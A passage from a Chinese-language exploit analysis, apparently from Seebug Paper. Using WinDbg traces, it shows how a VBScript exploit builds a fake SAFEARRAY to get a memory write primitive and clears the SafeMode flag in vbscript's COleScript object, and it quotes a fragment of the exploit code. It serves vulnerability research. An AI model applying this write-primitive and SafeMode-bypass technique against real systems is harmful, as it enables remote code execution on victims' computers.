            0:005> dd esp L4
            0249cb1c  6fb13991 0013ebf0 02e678f8 01df84e0
            0:005> dd 01df84e0 L4
            01df84e0  00000003 00000000 01df8724 41a00001
            0:005> ln poi(01df8724)
            0:005> ln poi(01df8724-8)
            0:005> ln poi(01df8724-8-4)
            (6fb04934)   vbscript!CScriptEntryPoint::`vftable'   |  (6fb1ab54)   vbscript!CEntryPointDispatch::`vftable'
            Exact matches:
                vbscript!CScriptEntryPoint::`vftable' = <no type information>
            0:005> g
            Breakpoint 2 hit
            eax=0249cc10 ebx=0249cc70 ecx=0013f274 edx=0000400c esi=01e00910 edi=00000001
            eip=6fb11f4c esp=0249cb18 ebp=0249cc18 iopl=0         nv up ei pl zr na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
            vbscript!AccessArray:
            6fb11f4c 8bff            mov     edi,edi
            0:005> db 02e678e8 L20
            02e678e8  ef 6a d2 68 6c 4b 02 08-02 00 00 00 00 00 00 00  .j.hlK..........
            02e678f8  03 00 00 00 00 00 00 00-24 87 df 01 01 00 a0 41  ........$......A
            0:005> g
            Breakpoint 1 hit
            eax=01df84e0 ebx=0249cc70 ecx=0249cc70 edx=00000002 esi=01e00910 edi=00000010
            eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0         nv up ei pl nz na po nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
            vbscript!AssignVar:
            6fb02e64 8bff            mov     edi,edi
            0:005> g
            Breakpoint 2 hit
            eax=0249cb2c ebx=0249cc70 ecx=0249cc70 edx=0000400c esi=00000001 edi=01e00900
            eip=6fb11f4c esp=0249cb00 ebp=0249cb18 iopl=0         nv up ei pl zr na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
            vbscript!AccessArray:
            6fb11f4c 8bff            mov     edi,edi
            0:005> db 02e678e8 L20
            02e678e8  ef 6a d2 68 6c 4b 02 08-05 00 00 00 00 00 00 00  .j.hlK..........
            02e678f8  08 00 00 00 08 00 00 00-24 87 df 01 01 00 a0 41  ........$......A
            0:005> g
            Breakpoint 1 hit
            eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000000 esi=0249cbf8 edi=01df84f0
            eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0         nv up ei pl nz na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
            vbscript!AssignVar:
            6fb02e64 8bff            mov     edi,edi
            0:005> dd esp L4
            0249cb1c  6fb0cb42 0013ebf0 01df84f0 01df84e0
            0:005> dd 01df84e0 L4
            01df84e0  00000003 00000000 01df8648 00000000
            0:005> dd 01df8724-8-4 L8
            01df8718  6fb04934 00000001 01df8648 01e007f8
            01df8728  01e028bc 00000000 01df8648 0013ebf0

            3 修改SafeMode

            最后我們再來看下exploit如何借助Write primitive對SafeMode標志進行修改。由前面的分析可知此標志是vbscript!COleScript對象指針特定偏移處的一個值,而vbscript!COleScript對象指針又可以通過vbscript!CScriptEntryPoint對象指針得到,因此SafeMode標志的查找過程如下:

            0:005> ln poi(01df8718)
            (6fb04934)   vbscript!CScriptEntryPoint::`vftable'   |  (6fb1ab54)   vbscript!CEntryPointDispatch::`vftable'
            Exact matches:
                vbscript!CScriptEntryPoint::`vftable' = <no type information>
            0:005> dd 01df8718+8 L1
            01df8720  01df8648
            0:005> dd 01df8648+10 L1
            01df8658  01df75f0
            0:005> ln poi(01df75f0)
            (6fb04868)   vbscript!COleScript::`vftable'   |  (6fb1fdbc)   vbscript!`string'
            Exact matches:
                vbscript!COleScript::`vftable' = <no type information>
            0:005> dd 01df75f0+174 L4
            01df7764  0000000e 00000000 00000000 00000000

            當找到此標志所在內存地址后,接下去就是對其進行修改,相關代碼如下:

            if (j=14) then
              redim Preserve aa(a2)
              aa(a1+2)(i+&h11c+k)=ab(4)  'write primitive'
              redim Preserve aa(a0)
              exit for
            end if

            我們來跟下這個過程:

            0:005> bl
             0 e 7664ec2c     0001 (0001)  0:**** OLEAUT32!SafeArrayRedim ".if(poi(poi(02e67900)-4)=0x0e){}.else{gc}"
             1 d 6fb02e64     0001 (0001)  0:**** vbscript!AssignVar
             2 d 6fb11f4c     0001 (0001)  0:**** vbscript!AccessArray
            0:005> g
            eax=0249cb14 ebx=004692e8 ecx=00000000 edx=00000060 esi=01df84e0 edi=01e00900
            eip=7664ec2c esp=0249cb00 ebp=0249cb1c iopl=0         nv up ei pl zr na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
            OLEAUT32!SafeArrayRedim:
            7664ec2c 8bff            mov     edi,edi
            0:005> db 02e678e8 L20
            02e678e8  ef 6a d2 68 6c 4b 02 08-02 00 00 00 00 00 00 00  .j.hlK..........
            02e678f8  00 00 00 00 00 00 00 00-68 77 df 01 01 00 a0 41  ........hw.....A
            0:005> bp OLEAUT32!SafeArrayRedim
            breakpoint 0 redefined
            0:005> g
            Breakpoint 0 hit
            eax=0249cd58 ebx=004692e8 ecx=00000000 edx=00000078 esi=01df8510 edi=01e00900
            eip=7664ec2c esp=0249cd44 ebp=0249cd60 iopl=0         nv up ei pl zr na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
            OLEAUT32!SafeArrayRedim:
            7664ec2c 8bff            mov     edi,edi
            0:005> be *
            0:005> g
            Breakpoint 2 hit
            eax=0249cd70 ebx=0249ceb4 ecx=0249ceb4 edx=0000400c esi=00000001 edi=01e00910
            eip=6fb11f4c esp=0249cd44 ebp=0249cd5c iopl=0         nv up ei pl zr na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
            vbscript!AccessArray:
            6fb11f4c 8bff            mov     edi,edi
            0:005> dd esp L8
            0249cd44  6fb12028 0249ce54 0013f274 00000001
            0249cd54  01df8510 0249cd70 0249ce5c 6fb0dc01
            0:005> gu
            eax=00000000 ebx=0249ceb4 ecx=0249ce54 edx=00000002 esi=00000001 edi=01e00910
            eip=6fb12028 esp=0249cd5c ebp=0249cd5c iopl=0         nv up ei pl zr na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
            vbscript!CScriptRuntime::LockArray+0x1a:
            6fb12028 85c0            test    eax,eax
            0:005> dd poi(0249ce54) L4
            02e67930  00000000 00000000 00000000 00000000
            0:005> dt ole32!tagSAFEARRAY poi(0249cd70)
               +0x000 cDims            : 1
               +0x002 fFeatures        : 0x880
               +0x004 cbElements       : 0x10
               +0x008 cLocks           : 0
               +0x00c pvData           : 0x02e678f0 Void
               +0x010 rgsabound        : [1] tagSAFEARRAYBOUND
            0:005> g
            Breakpoint 2 hit
            eax=0249cd70 ebx=0249ceb4 ecx=0249ceb4 edx=0000400c esi=00000001 edi=01e00900
            eip=6fb11f4c esp=0249cd44 ebp=0249cd5c iopl=0         nv up ei pl zr na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
            vbscript!AccessArray:
            6fb11f4c 8bff            mov     edi,edi
            0:005> dd esp L8
            0249cd44  6fb12028 0249ce54 0013f23c 00000001
            0249cd54  01df8500 0249cd70 0249ce5c 6fb0dc01
            0:005> gu
            eax=00000000 ebx=0249ceb4 ecx=0249ce54 edx=00000060 esi=00000001 edi=01e00900
            eip=6fb12028 esp=0249cd5c ebp=0249cd5c iopl=0         nv up ei pl zr na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
            vbscript!CScriptRuntime::LockArray+0x1a:
            6fb12028 85c0            test    eax,eax
            0:005> dd poi(0249ce54) L4
            02e67918  0000200c 0000200c 00405014 0249cc18
            0:005> dt ole32!tagSAFEARRAY poi(0249cd70)
               +0x000 cDims            : 1
               +0x002 fFeatures        : 0x880
               +0x004 cbElements       : 0x10
               +0x008 cLocks           : 0
               +0x00c pvData           : 0x02e66ec8 Void
               +0x010 rgsabound        : [1] tagSAFEARRAYBOUND
            0:005> g
            Breakpoint 2 hit
            eax=0249ce54 ebx=0249ceb4 ecx=01df8500 edx=0000400c esi=00000001 edi=00000010
            eip=6fb11f4c esp=0249cd5c ebp=0249ce5c iopl=0         nv up ei pl zr na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
            vbscript!AccessArray:
            6fb11f4c 8bff            mov     edi,edi
            0:005> dd esp L8
            0249cd5c  6fb0255c 0249ce54 01df8500 00000001
            0249cd6c  01df84f0 00000000 0249d070 0249ceb4
            0:005> dd 01df8500 L4
            01df8500  0000400c 00000000 02e67918 00000000
            0:005> dd 02e67918 L4
            02e67918  0000200c 0000200c 00405014 0249cc18
            0:005> dd 00405014 L6
            00405014  08800001 00000001 00000000 00000000
            00405024  7fff0000 00000000
            0:005> dt ole32!tagSAFEARRAY 00405014
               +0x000 cDims            : 1
               +0x002 fFeatures        : 0x880
               +0x004 cbElements       : 1
               +0x008 cLocks           : 0
               +0x00c pvData           : (null) 
               +0x010 rgsabound        : [1] tagSAFEARRAYBOUND

            可以看到,之前精心構造的SAFEARRAY結構在這里用到了,通過它可返回以索引值i+&h11c+k為起始地址的Variant結構變量,即pvData+(i+&h11c+k)*cbElements=i+&h11c+k,因此可實現Write primitive,這里該索引值為0x01df7760:

            ......
            0:005> p
            eax=01df7760 ebx=01df84f0 ecx=00000003 edx=00000003 esi=00405014 edi=00405024
            eip=6fb11fe8 esp=0249cd3c ebp=0249cd58 iopl=0         nv up ei pl zr na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
            vbscript!AccessArray+0xd6:
            6fb11fe8 8b4604          mov     eax,dword ptr [esi+4] ds:0023:00405018=00000001
            0:005> 
            eax=00000001 ebx=01df84f0 ecx=00000003 edx=00000003 esi=00405014 edi=00405024
            eip=6fb11feb esp=0249cd3c ebp=0249cd58 iopl=0         nv up ei pl zr na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
            vbscript!AccessArray+0xd9:
            6fb11feb 0faf450c        imul    eax,dword ptr [ebp+0Ch] ss:0023:0249cd64=01df7760
            0:005> 
            eax=01df7760 ebx=01df84f0 ecx=00000003 edx=00000003 esi=00405014 edi=00405024
            eip=6fb11fef esp=0249cd3c ebp=0249cd58 iopl=0         nv up ei pl nz na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
            vbscript!AccessArray+0xdd:
            6fb11fef 03460c          add     eax,dword ptr [esi+0Ch] ds:0023:00405020=00000000
            0:005> 
            eax=01df7760 ebx=01df84f0 ecx=00000003 edx=00000003 esi=00405014 edi=00405024
            eip=6fb11ff2 esp=0249cd3c ebp=0249cd58 iopl=0         nv up ei pl nz na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
            vbscript!AccessArray+0xe0:
            6fb11ff2 8b4d08          mov     ecx,dword ptr [ebp+8] ss:0023:0249cd60=0249ce54
            0:005> 
            eax=01df7760 ebx=01df84f0 ecx=0249ce54 edx=00000003 esi=00405014 edi=00405024
            eip=6fb11ff5 esp=0249cd3c ebp=0249cd58 iopl=0         nv up ei pl nz na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
            vbscript!AccessArray+0xe3:
            6fb11ff5 8901            mov     dword ptr [ecx],eax  ds:0023:0249ce54=01df8500
            ......
            0:005> dd poi(0249ce54) L4
            01df7760  00000000 0000000e 00000000 00000000
            0:005> db 02e678e8 L20
            02e678e8  ef 6a d2 68 6c 4b 02 08-02 00 00 00 00 00 00 00  .j.hlK..........
            02e678f8  00 00 00 00 00 00 00 00-68 77 df 01 01 00 a0 41  ........hw.....A

            再接著就是將前面獲取的ab(4)賦給這個Variant結構變量:

            0:005> g
            Breakpoint 1 hit
            eax=01df8510 ebx=0249ceb4 ecx=0249ceb4 edx=00000003 esi=00000001 edi=00000010
            eip=6fb02e64 esp=0249cd60 ebp=0249ce5c iopl=0         nv up ei pl zr na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
            vbscript!AssignVar:
            6fb02e64 8bff            mov     edi,edi
            0:005> g
            Breakpoint 0 hit
            eax=0249cd58 ebx=004692e8 ecx=00000000 edx=00000060 esi=01df8510 edi=01e00900
            eip=7664ec2c esp=0249cd44 ebp=0249cd60 iopl=0         nv up ei pl zr na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
            OLEAUT32!SafeArrayRedim:
            7664ec2c 8bff            mov     edi,edi
            0:005> dd 01df7760 L4
            01df7760  00000000 00000000 00000000 00000000

            可以看到SafeMode標志被清零了,因此記事本也就能彈出來了。

            0x05 參考


            Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/240/